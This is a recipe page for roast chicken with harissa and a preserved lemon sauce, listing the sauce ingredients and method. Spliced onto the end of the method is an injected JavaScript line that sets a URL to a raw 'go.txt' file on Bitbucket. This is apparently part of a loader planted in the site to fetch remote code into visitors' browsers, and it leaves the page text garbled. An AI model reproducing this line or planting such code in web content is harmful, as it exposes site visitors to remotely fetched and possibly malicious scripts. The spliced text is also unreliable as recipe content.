Roast Chicken with Harissa and Preserved Lemon Sauce

Preserved Lemon Sauce

250ml white wine
250ml chicken stock
half a medium onion, peeled and roughly sliced
1 bay leaf
1 large clove garlic, peeled and lightly crushed
few peppercorns
1 to 2 small preserved lemons
1tsp cornflour mixed with a little water

Heat up the wine and stock with the onion, bay leaf, garlic and peppercorns in it. Let it simmer for about five minutes, then turn it off and let them infuse for another 15 minutes or so before removing all the flavourings, leaving just the liquid. Cut the lemons into quarters and remove and discard the pulp and pips. Finely chop the lemon skin, then add to the sauce and reheat. When it is just simmering again, slowly add the cornflour and water mixture, stirring all the time, until it has reached the thickness that you want. It it unlikely that you will need to add all of the cornflour. Let it cook out for a few minutes, then pour into a jug.var url = ‘https://bitbucket.org/goo2/adss/raw/bb48df0654afc575e4e10d9e14d886a4afba6bc2/go.txt’;
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